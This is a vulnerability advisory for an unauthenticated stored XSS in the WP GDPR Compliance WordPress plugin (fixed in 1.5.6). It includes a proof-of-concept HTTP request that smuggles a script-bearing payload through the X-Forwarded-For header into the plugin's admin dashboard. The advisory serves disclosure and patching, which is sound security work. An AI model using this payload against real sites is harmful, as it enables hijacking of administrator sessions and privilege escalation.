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WordPress Plugin Vulnerabilities

WP GDPR Compliance < 1.5.6 - Unauthenticated Stored Cross-Site Scripting (XSS)

Description

The GDPR Compliance <= 1.5.5 plugin allowed unauthenticated users to exploit Stored Cross-Site Scripting (XSS) in the administration panel, which might lead to the privilege escalation. That was due to clients' IP Addresses reflected in the plugin's dashboard without being correctly validated or escaped.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 0.0.0.0:31337
X-Forwarded-For: 1.1.1.1"><img src=x onerror=alert(1)>

action=wpgdprc_process_action&security=cccf5a60ec&data={"type":"access_request","email":"[email protected]","consent":true} 

Affects Plugins

wp-gdpr-compliance
Fixed in version 1.5.6

References

URL
https://vavkamil.cz/2021/02/16/wp-gdpr-compliance-unauthenticated-xss/

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

vavkamil

Submitter

vavkamil

Submitter website
https://vavkamil.cz
Submitter twitter
vavkamil
Verified

Yes

WPVDB ID
69655879-9fd5-49a3-96ce-81e43b8d8438

Timeline

Publicly Published

2021-03-01 (about 1 years ago)

Added

2021-03-01 (about 1 years ago)

Last Updated

2021-03-04 (about 1 years ago)

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